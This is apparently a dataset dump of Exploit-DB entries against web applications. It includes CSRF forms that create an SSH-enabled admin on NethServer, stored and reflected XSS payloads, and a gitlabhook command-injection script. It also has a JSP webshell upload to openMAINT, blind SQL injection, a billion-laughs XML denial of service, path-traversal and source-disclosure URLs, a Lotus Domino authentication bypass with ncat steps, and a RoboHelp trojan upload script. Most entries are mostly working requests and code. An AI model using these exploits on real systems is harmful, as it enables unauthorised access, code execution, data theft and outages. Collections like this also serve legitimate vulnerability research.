deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42580
Description: NethServer 7.3.1611 - Cross-Site Request Forgery (Create User / Enable SSH Access)
Type: webapps
Platform: json
Date: 2017-08-28
Author: LiquidWorm

Exploit:
<!--

NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access


Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64

Summary: NethServer is an operating system for the Linux
enthusiast, designed for small offices and medium enterprises.
It's simple, secure and flexible.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
           CentOS Linux 7.3.1611 (Core)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5433
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php


16.08.2017

-->


HTML Decoded PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST">
      <input type="hidden" name="Account[User][create][username]" value="Blabla" />
      <input type="hidden" name="Account[User][create][gecos]" value="Test1" />
      <input type="hidden" name="Account[User][create][groups]" value="" />
      <input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" />
      <input type="hidden" name="Account[User][create][expires]" value="no" />
      <input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" />
      <input type="hidden" name="Account[User][create][shell]" value="/bin/bash" />
      <input type="hidden" name="Account[User][create][setPassword]" value="disabled" />
      <input type="hidden" name="Account[User][create][setPassword]" value="enabled" />
      <input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" />
      <input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" />
      <input type="hidden" name="Account[User][create][Submit]" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #42579
Description: NethServer 7.3.1611 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: json
Date: 2017-08-28
Author: LiquidWorm

Exploit:
NethServer 7.3.1611 (Upload.json) CSRF Script Insertion Vulnerability


Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64

Summary: NethServer is an operating system for the Linux enthusiast,
designed for small offices and medium enterprises. It's simple, secure
and flexible.

Desc: NethServer suffers from an authenticated stored XSS vulnerability.
Input passed to the 'BackupConfig[Upload][Description]' POST parameter is
not properly sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
           CentOS Linux 7.3.1611 (Core)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5432
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5432.php


16.08.2017

--


PoC request:

POST /en-US/BackupConfig/Upload.json HTTP/1.1
Host: 172.19.0.195:980
Connection: close
Content-Length: 15762
Accept: */*
Origin: https://172.19.0.195:980
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8FfEu2Tn6fUOnT80
Referer: https://172.19.0.195:980/en-US/BackupConfig
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: nethgui=4igflab8fmbi5aq26pvsp5r0f2

------WebKitFormBoundary8FfEu2Tn6fUOnT80
Content-Disposition: form-data; name="arc"; filename="backup-config.7z.xz"
Content-Type: application/x-xz

[xz content omitted]
------WebKitFormBoundary8FfEu2Tn6fUOnT80
Content-Disposition: form-data; name="BackupConfig[Upload][Description]"

<script>confirm(017)</script>
------WebKitFormBoundary8FfEu2Tn6fUOnT80--
Exploit-DB #47420
Description: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
Type: webapps
Platform: json
Date: 2019-09-25
Author: Semen Alexandrovich Lyhin

Exploit:
# Exploit Title: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: https://www.npmjs.com/package/gitlabhook
# Version: 0.0.17
# Tested on: Kali Linux 2, Windows 10. 
# CVE : CVE-2019-5485

#!/usr/bin/python

import requests

target = "http://TARGET:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done."
Exploit-DB #48866
Description: openMAINT 1.1-2.4.2 - Arbitrary File Upload
Type: webapps
Platform: json
Date: 2020-10-09
Author: mrb3n

Exploit:
# Exploit Title: openMAINT 1.1-2.4.2 - Arbitrary File Upload
# Dork: N/A
# Date: 2020-08-19
# Exploit Author: mrb3n
# Vendor Homepage: https://www.openmaint.org/en
# Software Link: https://sourceforge.net/projects/openmaint/files/1.1/openmaint-1.1-2.4.2.zip/download
# Version: 1.1-2.4.2
# Category: Webapps
# Tested on: Ubuntu 16.04
# CVE: N/A


# POC: http://localhost:8080/openmaint/administration.jsp
#
POST /openmaint/services/json/file/upload?CMDBuild-Authorization=fnlt93ijq0dru5qtenme73d4lf HTTP/1.1

Host: 192.168.1.1:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]523757460

Content-Length: 1369

Origin: http://192.168.1.1:8080

DNT: 1

Connection: close

Referer: http://192.168.1.1:8080/openmaint/administration.jsp

Cookie: JSESSIONID=5BAAEBDCC2151BD59ED2CD6FD3CA8165; CMDBuild-Authorization=fnlt93ijq0dru5qtenme73d4lf

Upgrade-Insecure-Requests: 1



----------------------------[PII_REDACTED][PII_REDACTED]523757460

Content-Disposition: form-data; name="fileStore"



images

----------------------------[PII_REDACTED][PII_REDACTED]523757460

Content-Disposition: form-data; name="folder"



d41d8cd98f00b204e9800998ecf8427e

----------------------------[PII_REDACTED][PII_REDACTED]523757460

Content-Disposition: form-data; name="file"; filename="malicious.jsp"

Content-Type: application/octet-stream



[Malicious code here]


----------------------------[PII_REDACTED][PII_REDACTED]523757460--


# The malicious file will be uploaded directly to the /upload/images directory with the file name unchanged, example:
http://192.168.1.1:8080/openmaint/upload/images/malicious.jsp
# How to fix: Update to the latest version
# Earlier versions as well as other 1.1-x  versions are likely vulnerable.
Exploit-DB #42111
Description: Sungard eTRAKiT3 <= 3.2.1.17 - SQL Injection
Type: webapps
Platform: json
Date: 2017-06-02
Author: Goran Tuzovic

Exploit:
Software: Sungard eTRAKiT3
Version: 3.2.1.17 and possibly lower
CVE: CVE-2016-6566 (https://www.kb.cert.org/vuls/id/846103)
Vulnerable Component:  Login page 


Description
================
The login form is vulnerable to blind SQL injection by an unauthenticated user.


Vulnerabilities
================
The "valueAsString" parameter inside the JSON payload contained by the "ucLogin_txtLoginId_ClientStat" POST parameter is not properly validated. An unauthenticated remote attacker may modify the POST request and insert a SQL query which will then be executed by the backend server. eTRAKiT 3.2.1.17 was tested, but other versions may also be vulnerable.

 
Proof of concept
================
Steps to Reproduce:
	1. Configure browser to use burp suite as proxy
	2. Turn interceptor on in burp suite
	3. Attempt to log in to etrakit3 website
	4. Modify the resulting HTTP request in the following way
	5. Locate the JSON payload contained by the ucLogin_txtLoginId_ClientStat POST parameter
	6. Locate the valueAsString parameter inside the JSON payload
	7. Append SQL code to the end of the value held by the valueAsString parameter, example: {"enabled":true,"emptyMessage":"Username","validationText":"fakeuser","valueAsString":"fakeuser';waitfor delay'0:0:10'--","lastSetTextBoxValue":"fakeuser"}

	
Solution
================
"SunGard Public Sector appreciates that this issue has been brought to our attention.   Our development team has addressed this report with a patch release.  Please contact the SunGard Public Sector TRAKiT Solutions division to request the patch release. [PII_REDACTED]." -- (https://www.kb.cert.org/vuls/id/846103)


Timeline
================
2016-10-17: Discovered
2016-12-6: CVE Issued


Discovered by
================
Chris Anastasio 0x616e[PII_REDACTED]696f [ at ] illumant.com


About Illumant
================
Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks.  Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant.  For more information, visit https://illumant.com/
Exploit-DB #51379
Description: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information
Type: webapps
Platform: json
Date: 2023-04-20
Author: Rafael Cintra Lopes

Exploit:
# Exploit Title: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information
# Date: 14 April, 2023
# Exploit Author: Rafael Cintra Lopes
# Vendor Homepage: https://swagger.io/
# Version: < 4.1.3
# CVE: CVE-2018-25031
# Site: https://rafaelcintralopes.com.br/

# Usage: python swagger-exploit.py https://[swagger-page].com

from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.chrome.service import Service
import time
import json
import sys

if __name__ == "__main__":

	target = sys.argv[1]

	desired_capabilities = DesiredCapabilities.CHROME
	desired_capabilities["goog:loggingPrefs"] = {"performance": "ALL"}

	options = webdriver.ChromeOptions()
	options.add_argument("--headless")
	options.add_argument("--ignore-certificate-errors")
	options.add_argument("--log-level=3")
	options.add_experimental_option("excludeSwitches", ["enable-logging"])

	# Browser webdriver path
	drive_service = Service("C:/chromedriver.exe")

	driver = webdriver.Chrome(service=drive_service,
							options=options,
							desired_capabilities=desired_capabilities)

	driver.get(target+"?configUrl=https://petstore.swagger.io/v2/hacked1.json")
	time.sleep(10)
	driver.get(target+"?url=https://petstore.swagger.io/v2/hacked2.json")
	time.sleep(10)

	logs = driver.get_log("performance")

	with open("log_file.json", "w", encoding="utf-8") as f:
		f.write("[")

		for log in logs:
			log_file = json.loads(log["message"])["message"]

			if("Network.response" in log_file["method"]
					or "Network.request" in log_file["method"]
					or "Network.webSocket" in log_file["method"]):

				f.write(json.dumps(log_file)+",")
		f.write("{}]")

	driver.quit()

	json_file_path = "log_file.json"
	with open(json_file_path, "r", encoding="utf-8") as f:
		logs = json.loads(f.read())

	for log in logs:
		try:
			url = log["params"]["request"]["url"]

			if(url == "https://petstore.swagger.io/v2/hacked1.json"):
				print("[Possibly Vulnerable] " + target + "?configUrl=https://petstore.swagger.io/v2/swagger.json")
			
			if(url == "https://petstore.swagger.io/v2/hacked2.json"):
				print("[Possibly Vulnerable] " + target + "?url=https://petstore.swagger.io/v2/swagger.json")

		except Exception as e:
			pass
Exploit-DB #37218
Description: Atlassian Tempo 6.4.3 / JIRA 5.0.0 / Gliffy 3.7.0 - XML Parsing Denial of Service
Type: dos
Platform: jsp
Date: 2012-05-17
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/53595/info

JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.

The following versions are affected:

Versions prior to JIRA 5.0.1 are vulnerable.
Versions prior to Gliffy 3.7.1 are vulnerable.
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable. 

POST somehost.com HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 1577

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:authenticateApplication>
         <urn:in0>
            <aut:credential>
               <aut:credential>stuff1</aut:credential>
               <aut:encryptedCredential>?&lol9;</aut:encryptedCredential>
            </aut:credential>
            <aut:name>stuff3</aut:name>
            <aut:validationFactors>
               <aut:ValidationFactor>
                  <aut:name>stuff4</aut:name>
                  <aut:value>stuff5</aut:value>
               </aut:ValidationFactor>
            </aut:validationFactors>
         </urn:in0>
      </urn:authenticateApplication>
   </soapenv:Body>
</soapenv:Envelope>
Exploit-DB #20429
Description: Caucho Technology Resin 1.2 - JSP Source Disclosure
Type: remote
Platform: jsp
Date: 2000-11-23
Author: benjurry

Exploit:
source: https://www.securityfocus.com/bid/1986/info

Resin is a servlet and JSP engine that supports java and javascript.

ServletExec will return the source code of JSP files when an HTTP request is appended with certain characters. This vulnerability is dependent on the platform that Resin is running on.

Successful exploitation could lead to the disclosure of sensitive information contained within JSP pages.


Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81

Resin Web Server:
../
Example: http://target/filename.jsp../


IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp
Exploit-DB #21355
Description: Citrix NFuse 1.51/1.6 - Cross-Site Scripting
Type: remote
Platform: jsp
Date: 2002-03-27
Author: Eric Detoisien

Exploit:
source: https://www.securityfocus.com/bid/4372/info

Citrix NFuse is an application portal server meant to provide the functionality of any application on the server via a web browser. NFuse works in conjunction with a previously-installed webserver. NFuse is said to support almost any operating system, including Unix and Linux variants, as well as Microsoft Windows operating systems.

A cross-site scripting vulnerability exists in Citrix NFuse. The launch.asp and launch.jsp scripts do not filter script code from URL parameters. An attacker may create a malicious link to one of these scripts which includes script code, which will be executed in the browser of an arbitrary web user who visits the link, in the security context of the site running Citrix NFuse.

This may enable an attacker to steal cookie-based authentication credentials from legitimate users of the vulnerable software. 

http://my_nfuse_portal.com/launch.jsp?NFuse_Application=<script>alert(document.cookie);</script>
Exploit-DB #18179
Description: IBM Lotus Domino Server Controller - Authentication Bypass
Type: remote
Platform: jsp
Date: 2011-11-30
Author: Alexey Sintsov

Exploit:
# Exploit Title: IBM Lotus Domino Controller auth. bypass
# Date:30/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.ibm.com/
# Version:8.5.3/8.5.2 FP3 (0day) 
# Tested on: Windows 7 / Windows 2008
# CVE : CVE-2011-1519


Application: IBM Lotus Domino Controller
Versions Affected: <=8.5.2 FP3, <=8.5.3
Manager 4.0 prior to Update 4
(0day) 
Vendor URL: http://ibm.com
Bug: own XML parser  
CVE: CVE-2011-1519
CVSS2: 9.0
Exploits: YES
Reported:2010-09-23 via ZDI
Date of Public Advisory: 2011-03-22
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)

This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug,
but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day.
Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41

EXPLOIT:

1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050
2. Inject XML into IIS log file (for an example)

ncat targethost 49152
GET /<user HTTP/1.0\r\n\r\n


ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n

(\r\n\r\n) ENTER two times 8)

3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet)

<html>
<body>
<script>
function onLoadConsole()
{
alert("Connected");
}
</script>
<applet name = "DominoConsole"
code = "lotus.domino.console.DominoConsoleApplet.class"
codebase = "http://127.0.0.1/domjava/"
archive = "dconsole.jar"
width = "100%"
height = "99%"
>
<PARAM NAME="debug" VALUE="true">
<PARAM NAME="port" VALUE="2050">
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">
<PARAM NAME="username" VALUE="admin">
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">
<PARAM NAME="cookievalue" VALUE="pass">
<PARAM NAME="onLoad" VALUE="onLoadConsole">
</applet>
</body>
</html>
Exploit-DB #20592
Description: Oracle 8.1.7 - JSP/JSPSQL Remote File Reading
Type: remote
Platform: jsp
Date: 2000-01-22
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/2288/info

A problem with Oracle on the Windows 2000 platform could allow users access to restricted information. This problem in the handling of input by the Oracle software may result in remote users being permitted read access to files on the same partition as the webroot directory.

Upon generating a custom crafted request to either the a.jsp file or the bb.sqljsp file, it is possible to force the JSP and JSPSQL handlers to ascend the directory tree outside of the webroot, and attempt to read the contents of the specified file in the request. Successful execution results in the files being moved to the http://host/_pages subdirectory, and the extension of the file being changed to a .java file.

This problem makes it possible for a user with malicious motives to access and read files that may be restricted and/or sensitive. It could also lead to a remote user gaining local access, and an elevation of privileges. 

There are two methods of exploit this vulnerabillity, contributed by Georgi Guninski:

http://host/a.jsp//..//..//..//..//..//../winnt/win.ini

will copy the contents of the C:\winnt\win.ini file to a file in http://host/_pages, and change the extension to .java, with a "win" in the name of the file.

http://host/bb.sqljsp//..//..//..//..//..//../winnt/win.ini

will also copy the contents of the c:\winnt\win.ini file to a file in the http://host/_pages directory, and change the extension to .java, with "win" in the name of the file.
Exploit-DB #20412
Description: Unify eWave ServletExec 3 - .JSP Source Disclosure
Type: remote
Platform: jsp
Date: 2000-11-21
Author: Wojciech Woch

Exploit:
source : https://www.securityfocus.com/bid/1970/info

Unify eWave ServletExec is a Java/Java Servlet engine plug-in for major web servers such as Microsoft IIS, Apache, Netscape Enterprise Server, etc. 

ServletExec will return the source code of JSP files when a HTTP request is appended with one of the following characters:

.
%2E
+
%2B
%5C
%20
%00

For example, the following URL will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp.

Successful exploitation could lead to the disclosure of sensitive information contained within JSP pages.

Any of the following URL requests will yield the source of the specified JSP file:

http://target/directory/jsp/file.jsp. 
http://target/directory/jsp/file.jsp%2E
http://target/directory/jsp/file.jsp+ 
http://target/directory/jsp/file.jsp%2B
http://target/directory/jsp/file.jsp\ 
http://target/directory/jsp/file.jsp%5C
http://target/directory/jsp/file.jsp%20 
http://target/directory/jsp/file.jsp%00
Exploit-DB #40060
Description: 24online SMS_2500i 8.3.6 build 9.0 - SQL Injection
Type: webapps
Platform: jsp
Date: 2016-07-06
Author: Rahul Raz

Exploit:
# Exploit Title: SQL Injection In 24 Online Billing API
# Date: 03/07/2016
# Exploit Author: Rahul Raz
# Vendor Homepage: http://24onlinebilling.com
# Software Name:24online Model SMS_2500i
# Version: 8.3.6 build 9.0
# Tested on: Ubuntu Linux

Potentially others versions older than this are vulnerable too.

Vulnerability type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The invoiceid GET parameter on <base url>/24online/webpages/myaccount/usersessionsummary.jsp in not filtered properly and leads to SQL Injection

Authentication Required: Yes

A non-privileged authenticated user can inject SQL commands on the <base-url>/24online/webpages/myaccount/usersessionsummary.jsp?invoiceid=<numeric-id> &fromdt=dd/mm/yyyy hh:mm:ss&todt= dd/mm/yyyy hh:mm:ss

There is complete informational disclosure over the stored database.

 
I tried to contact them to disclose and get the vulnerability patched, but they did not reply positively.
Exploit-DB #33209
Description: Adobe RoboHelp Server 8 - Authentication Bypass
Type: webapps
Platform: jsp
Date: 2009-09-03
Author: Intevydis

Exploit:
source: https://www.securityfocus.com/bid/36245/info

Adobe RoboHelp Server is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to upload and execute arbitrary code with SYSTEM-level privileges.

RoboHelp Server 8.0 is affected; other versions may also be vulnerable.

b="-----------------------------111\r\n"
b+="Content-Disposition: form-data; name=\"filename\"; filename=\"test.jsp\"\r\n"
b+="Content-Type: application/x-java-archive\r\n\r\n"
b+=data # source code of our JSP trojan here
b+="\r\n"
b+="-----------------------------111--\r\n"

s="POST /robohelp/server?PUBLISH=1 HTTP/1.1\r\n"
s+="Host: %s:%d\r\n"%(host, port)
s+="User-Agent: Mozilla\r\n"
s+="UID: 1234\r\n"
s+="Content-Type: multipart/form-data; boundary=---------------------------111\r\n"
s+="Content-Length: %d\r\n"%len(b)
s+="\r\n"
s+=b

sock.sendall(s)
reply=sock.recv(4000)



Get the value of 'sessionid' from the reply and use it in the following to execute the JSP trojan:

s="GET /robohelp/robo/reserved/web/%s/test.jsp HTTP/1.0\r\n\r\n" % session_id
sock.sendall(s)